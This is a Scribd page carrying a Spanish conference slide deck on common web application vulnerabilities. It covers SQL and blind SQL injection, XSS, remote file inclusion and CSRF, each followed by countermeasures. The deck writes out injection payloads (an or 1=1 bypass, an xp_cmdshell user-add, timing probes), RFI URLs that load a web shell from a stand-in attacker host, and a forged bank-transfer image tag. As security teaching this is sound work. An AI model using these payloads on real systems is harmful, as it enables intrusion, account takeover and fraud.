0% encontró este documento útil (0 votos)
5 vistas94 páginas

Edge Security Rediris2008

El documento aborda las principales vulnerabilidades en aplicaciones web, destacando que el 75% de los ataques se dirigen a estas aplicaciones y que cada 1500 líneas de código contienen al menos una vulnerabilidad. Se identifican las vulnerabilidades más comunes como SQL Injection, Cross Site Scripting (XSS) y Remote File Inclusion, así como las contramedidas recomendadas para mitigar estos riesgos. Además, se menciona la importancia de validar los datos de entrada y utilizar procedimientos almacenados para mejorar la seguridad.

Cargado por

attik farid
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
5 vistas94 páginas

Edge Security Rediris2008

El documento aborda las principales vulnerabilidades en aplicaciones web, destacando que el 75% de los ataques se dirigen a estas aplicaciones y que cada 1500 líneas de código contienen al menos una vulnerabilidad. Se identifican las vulnerabilidades más comunes como SQL Injection, Cross Site Scripting (XSS) y Remote File Inclusion, así como las contramedidas recomendadas para mitigar estos riesgos. Además, se menciona la importancia de validar los datos de entrada y utilizar procedimientos almacenados para mejorar la seguridad.

Cargado por

attik farid
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 94

Principales vulnerabilidades

en aplicaciones Web

Christian Martorella
Edge-security.com

1
#Whoami: Christian Martorella

Cofundador Edge-security.com
CISSP, CISM, CISA, OPST, OPSA
Actualmente trabajando en
Presidente de las Conferencias F.I.S.T
Miembro de OISSG
http://laramies.blogspot.com

2
Escenario actual

El servicio más difundido y utilizado es WWW


75% de los ataques ocurren en las aplicaciones Web
(Gartner)
3 de 4 servidores son vulnerables a los ataques web
(Gartner)
Cada 1500 líneas de código hay una vulnerabilidad (IBM)

3
Escenario actual
Aumento del uso de aplicaciones web en el día a día,
Banca online, redes sociales, etc
Web 2.0 añade mayor complejidad y nuevos vectores
de ataque
Los firewall permiten el paso de este servicio y no
pueden hacer nada al respecto
Punto de contacto con las bases de datos ($$)
Cada vez los datos personales tienen más valor, y hay
más interesados en ellos.

4
Escenario actual
Precio de los datos:

5
Escenario actual
Ataques de phishing y fraude online (Launch pad,
infection point)

6
Escenario actual -

4396 vulnerabilidades

Web Applications
Otras vulnerabilidades

7
Escenario actual -

Vulnerabilidades más explotadas:

PHP Remote File Inclusion

SQL Injection

Cross Site Scripting (XSS)

Cross Site request forgery (CSRF)

8
Escenario actual - WASC
Porcentaje de sitios vulnerable por tipo de vulnerabilidad

Cross site Scripting


Other
Information Leakage
Http Response Splitting
SQL Injection
SSI Injection

Web Application Security Consortium 2006

9
Escenario actual - WASC
Vulnerabilidades más comúnes x clase

85.57
26.38
Cross Site Scripting
15.70 SQL Injection
Information Leakage
9.76 HTTP Response Splitting
Path Traversal
1.19 Other
4.30

0 25 50 75 100

Web Application Security Consortium 2006

10
Escenario actual - OWASP

Open Web Application Security Project


Cantidad de proyectos relacionados con la seguridad
de aplicaciones web
Uno de ellos el Top 10 de vulnerabilidades

11
OWASP TOP 10

Cross Site Scripting (XSS)


Injection Flaws (SQL, LDAP)
Malicious File Execution
Insecure Direct Object Reference
Cross Site Request Forgery (CSRF)

12
OWASP TOP 10

Information Leakage and Improper Error Handling


Broken Authentication and Session Management
Insecure Cryptographic Storage
Insecure Communications
Failure to Restrict URL Access

13
Escenario actual

14
Web applications 101

15
Web applications 101

16
Web applications 101

17
Las sospechosas habituales

18
SQL injection

19
SQL injection

SQL: Structured Query Language


Utilizado para consultar y administrar Bases de Datos
Query / consulta: Unidad típica de ejecución.
Consultas básicas: SELECT, INSERT, UPDATE.

20
SQL injection

SELECT * FROM usuarios WHERE name=”laramies”;

SELECT id FROM usuarios;

SELECT nombre FROM usuarios UNION SELECT


name FROM employees;

21
SQL injection
La inyección de código SQL se produce cuando datos
suministrados por el usuario son enviados sin filtrar a
un intérprete como parte de una consulta (Query), con
el fin de modificar el comportamiento original, para
ejecutar comandos o consultas arbitrarias en la base
de datos.

22
SQL injection

<code>
sql_query=
“SELECT * FROM users WHERE
username = '" + username_string + "' AND
userpass = '" + password_string + "'"
</code>
23
SQL injection

Consulta final en DB:


SELECT * FROM users WHERE
OK!
username = 'laramies' AND
userpass = 'test'

24
SQL injection

Consulta final en DB:


SELECT * FROM users WHERE
username = 'laramies'' AND
userpass = 'test'

Microsoft OLE DB Provider for ODBC Drivers


(0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the character string
' AND userpass=userpass_string'.

25
SQL injection
Consulta final en DB:
SELECT * FROM users WHERE
username = '' or 1=1;--
AND userpass = 'test'

OK!! Acceso permitido


con el primer usuario de
la DB
26
SQL injection

Evadir autenticaciones, controles de acceso.


Obtener y/o modificar datos arbitrarios de la base de
datos
Leer ficheros del sistema operativo
Ejecutar comandos en el Sistema Operativo

27
SQL injection

SELECT * FROM usuarios WHERE


name=’laramies’;exec master..xp_cmdshell(net user
laramies /add);--

SELECT * FROM usuarios WHERE


name=’laramies’;shutdown--

28
SQL injection

DEMOS [SQL Injection]

29
SQL injection - Tools

Sqlbif: http://www.open-labs.org/
SqPyfia: http://www.edge-security.com
Sqlmap: http://sqlmap.sourceforge.net/
Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

30
Blind SQL injection

31
Blind SQL injection
Blind SQL injection es igual al SQL injection, pero con
la diferencia que no se obtienen mensajes de error ni
resultados en las respuestas.
Es más difícil de explotar y lleva más tiempo obtener
los resultados.
Se ocultaron los mensajes de error, pero no se arregló
la vulnerabilidad.

32
Blind SQL injection
Se puede explotar mediante consultas SQL con
evaluaciones lógicas del tipo True ó False.

http://newspaper.com/items.php?id=2

SELECT title, description, body FROM items WHERE ID = 2

Y como resultado en el browser obtenemos:

“Conferencia de Rediris el día 28”

33
Blind SQL injection
http://newspaper.com/items.php?id=2 and 1=0

SELECT title, description, body FROM items WHERE ID = 2 and 1=0

Como resultado en el browser obtenemos:

“No se encontro articulo en la Base de datos”

ID = 2 and 1=0

True and False False


34
Blind SQL injection

http://newspaper.com/items.php?id=2 and 1=1

SELECT title, description, body FROM items WHERE ID = 2 and 1=1

Como resultado en el browser obtenemos:

“Conferencia de Rediris el dia 28”

35
Blind SQL injection

“No se encontró artículo en la Base de datos” 43 chars

!=
“Conferencia de Rediris el día 28” 32 chars

36
Blind SQL injection

Como podemos explotarla?


http://newspaper.com/items.php?id=2 and 1=1 OK
http://newspaper.com/items.php?id=2 and 1=0 NO

Hay que averiguar el tipo de DB:


http://newspaper.com/items.php?id=2 and
user()=user() OK --> MYSQL

37
Blind SQL injection

38
Blind SQL injection
sql.php?id=1 and substr(user(),1,1) = “a” NO “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “b” NO “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “c” NO “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “d” NO “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “e” NO “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “f” OK “Conferencia de Rediris el día 28”

Primer carácter del resultado de la función user() es “f”


39
Blind SQL injection
sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK

El valor ascii de la primer letra del usuario > 100


sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK

sql.php?id=1 and ascii(substr(user(),1,1)) >150 NO

sql.php?id=1 and ascii(substr(user(),1,1)) >125 NO

sql.php?id=1 and ascii(substr(user(),1,1)) >112 OK

sql.php?id=1 and ascii(substr(user(),1,1)) >118 OK

sql.php?id=1 and ascii(substr(user(),1,1)) >114 NO

sql.php?id=1 and ascii(substr(user(),1,1)) >113 OK

sql.php?id=1 and ascii(substr(user(),1,1)) =114 OK

Primer carácter del resultado de la función user() es “r”


40
Blind SQL injection
Si el comportamiento es el mismo, estamos seguros de
que no hay SQL injection?

NO...

SELECT title, description, body FROM items WHERE ID = 2 and 1=0 32 Chars

SELECT title, description, body FROM items WHERE ID = 2 and 1=1 32 Chars

41
Blind SQL injection
Pero podemos usar algunas opciones como:

Timing
Condicionales (IF)

WAIT FOR DELAY '0:0:10' SQL Server


BENCHMARK() MySQL
pg_sleep(10) PostgreSQL

42
Blind SQL injection

SELECT title, description, body FROM items WHERE ID = 2 ;waitfor delay '0:0:15'--

Tiempo de ejecución > = 15 seg OK!

SELECT title, description, body FROM items WHERE ID = 2;if (select user) = 'sa'
waitfor delay '0:0:15'

Tiempo de ejecución > = 15 OK!


Sabemos que el usuario es “SA”

43
Blind SQL injection

DEMOS [Blind]

44
Blind SQL injection

45
SQL injection

Contramedidas:

Validar los datos de entrada, White Lists

Utilización de procedimientos almacenados


parametrizados

Conexiones con mínimos privilegios, granularidad

Validar, validar, validar, y por las dudas validar.


46
Blind SQL injection
Herramientas:

Sqlbif: http://www.open-labs.org/
SqPyfia: http://www.edge-security.com
Pblind: http://www.edge-security.com
Sqlmap: http://sqlmap.sourceforge.net/
Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

47
SQL Injection

48
Cross Site Scripting XSS

49
Cross Site Scripting XSS

La vulnerabilidad ocurre cuando una aplicación recibe


datos enviados por el usuario, y los devuelve al
browser sin validarlos o codificarlos.

Para poder explotar esta vulnerabilidad generalmente el


atacante tendrá que engañar a la víctima en abrir un
link, visitar una página, ver una imagen, etc...

50
Cross Site Scripting XSS
Que se puede hacer con ellos?:

Robo de información de autenticación y


secuestro de cuentas
Robo y envenenamiento de cookies
Website Deface
Phishing

51
Cross Site Scripting XSS
Más..

Log Keystrokes Deface websites

Port Scan Intranet XSRF

Abusar de
vulnerabilidades del Robar History
browser

52
Cross Site Scripting XSS
Tipos:

Persistente o Almacenado

No persistente ó reflejado (más común)

Basados en DOM (Document Object Model)

53
Cross Site Scripting XSS
No Persistente - Reflejado

1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a sus datos
personales.

2. Haxor encuentra un XSS de tipo “No persistente” en “XSSLand”.

3. Haxor prepara una URL que explota la vulnerabilidad, y envia el link a través del correo,
haciendose pasar por el servicio de administración de “XSSLand”

4. Alice visita la URL que envio Haxor mientras esta logueada en “XSSLand”

5. El script incrustado en la URL, se ejecuta en el Browser, como si viniera de “XSSLand”.


El script envia la cookie de sesión a Haxor. Ahora Haxor puede acceder a “XSSLand”
como si fuera Alice y obtener o modificar la información disponible.

54
Cross Site Scripting XSS
Persistente

1. El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, así como
firmar el libro de visitas.

2. Haxor detecta que el sitio “XSSLand” es vulnerable a un XSS de tipo persistente.

3. Haxor envia un mensaje controversial o con gancho, para animar a otros usuarios a
verlo.

4. Solo con ver el mensaje, la cookie de sesión de los usuarios sera enviada a un
servidor controlado por Haxor sin que los usuarios se den cuenta.

5. Posteriormente Haxor, accede con las cookies de sesión de los otros usuarios y
envia mensajes suplantando la identidad de las victimas.

55
Cross Site Scripting XSS

56
Cross Site Scripting XSS

57
Cross Site Scripting XSS

DEMO [Consola Beef]

58
Cross Site Scripting XSS
Contramedidas:
Filtrar todo el contenido que recibimos para evitar que
se incluyan tags de scripting, aceptando solo los
valores válidos. (White Lists)
Antes de almacenar y de volver a mostrar los datos a
los usuarios, se recomienda transformar los meta-
caracteres, que permiten esta vulnerabilidad, a su
entidad HTML correspondiente. > &gt; < &lt; & &amp;

Validar, validar, validar, y por las dudas validar.


59
Remote File inclusion (RFI)

60
File inclusion
La inclusión remota de ficheros o código permite a los
atacantes incluir código y datos arbitrarios en la
aplicación vulnerable, que luego se ejecutará en el
servidor.

Muchas aplicaciones permiten subir ficheros, fotos,


documentos, etc... (Upload)

La inclusión de los ficheros puede ser tanto local como


remota

61
File inclusion

La podemos encontrar en urls del tipo:


http://vulnsite.com/leer.php?file=news.php
http://vulnsite.com/area.php?file=news

http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php

http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00

Si logramos incluir código, ficheros o realizar un upload


podemos...
62
File inclusion

Ejecutar comandos a través de una consola web.


(Darkraver web-kit)
Paneles de control (c99, r57)
Cliente SQL a través de http.
Subir y ejecutar cualquier binario (Port redirectors,
túneles, etc)
Cualquier cosa que se nos ocurra.

Control total del servidor :)

63
File inclusion

64
Remote File inclusion (RFI)

65
Local File Inclusion

66
Local File Inclusion

67
Remote File inclusion (RFI)

68
Remote File inclusion (RFI)

69
Remote File inclusion (RFI)

DEMO [Consola SQL]

70
File inclusion
Ocultar nombre de ficheros al usuario
Desactivar “allow_url_fopen” y “allow_url_include”
en PHP.INI
Configurar firewalls para prevenir que el servidor Web
no pueda realizar conexiones nuevas hacia
servidores externos o internos.
Utilizar valores que se mapeen con los ficheros
necesarios, asi “1” es equivalente a “config_user.ini”,
“2” a “config_site.ini”

Validar, validar, validar, y por las dudas validar.


71
XSRF (Cross Site Request
Forgery)

72
Cross Site Request Forgery

El atacante fuerza al browser de la víctima a realizar


una petición, en la sesión autenticada o no, de una
aplicación sin el conocimiento del usuario.

<IMG SRC=”http://www.mibancaonline.com/
transferencia.asp?
amount=1000000&to_account=3l3373” />

73
Cross Site Request Forgery

74
Cross Site Request Forgery

“Yo no me descargue ese fichero, fui víctima de


un CSRF”

“It's a problem for forensics people who


aren't as familiar with it and might
not understand whether it's possible
that CSRF could be blamed for
what the defendant is accused of. “

Chuck Willis,
Principal consultant, Mandiant

75
Cross Site Request Forgery

Contramedidas:

No funciona confiar en el Referrer.


No funciona confiar solo en los POST
Utilizar tokens Random! (campos HIDDEN)

76
Failure to Restrict URL Access

77
Failure to Restrict URL Access

Usualmente la aplicación protege solamente las


funcionalidades más sensibles, evitando publicar los
links o las urls a los usuarios no autorizados.

Los atacantes explotan esta vulnerabilidad


accediendo directamente a estas funcionalidades.

78
Failure to Restrict URL Access
Existen muchos diccionarios creados para explotar
esta vulnerabilidad:

Diccionarios de distintos idiomas

Diccionarios por contexto dependiendo del


servidor Web, servidor de aplicaciones, y
Aplicaciones

79
Failure to Restrict URL Access

Wfuzz

80
Failure to Restrict URL Access

DEMO [Wfuzz]

81
Failure to Restrict URL Access

Herramientas:

Wfuzz: http://www.edge-security.com/wfuzz.php
Dirb: http://www.open-labs.org/

82
83
WebSlayer
Nueva herramienta para realizar todo tipo de
ataques de fuerza bruta sobre aplicaciones webs.

Predictable resource locator, recursion supported

Login form bruteforce

Session bruteforce

Parameter bruteforce
Basada en wfuzz
Parameter Injection (XSS, SQL)

Basic and Ntml Bruteforcing

84
WebSlayer

Multiple payloads

All parameter injection (Get, Post, Headers)

NTLM and Basic support and bruteforcing

Payload encoding

Tailored dictionaries for known applications (Apache, Tomcat, Weblogic,


Websphere,Vignette, etc) Thanks to DarkRaver www.open-labs.org

85
WebSlayer

WebSlayer

86
WebSlayer

DEMO [Webslayer]

87
ProxyStrike

Herramienta para auditar aplicaciones WEB


Actualmente detecta XSS y SQL Injection
Es un proxy que mientras se navega la aplicación,
realiza las inyecciones de SQL y XSS en todos los
parámetros dinámicos.

88
ProxyStrike

89
ProxyStrike

90
ProxyStrike

91
TOOLS
www.edge-security.com
Wfuzz: http://www.edge-security.com/wfuzz.php
WebSlayer: http://www.edge-security.com/webslayer/
Webslayer.html
ProxyStrike: http://www.edge-security.com/proxystrike.php

92
Referencias

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

http://www.0x000000.com/index.php?i=14

http://www.xssed.com/xssinfo

Dhanjani Hack-lu presentation

One Way Hacking http://net-square.com/papers/one_way/one_way.html

Owasp http://www.owasp.org

93
?
[email protected]

94

También podría gustarte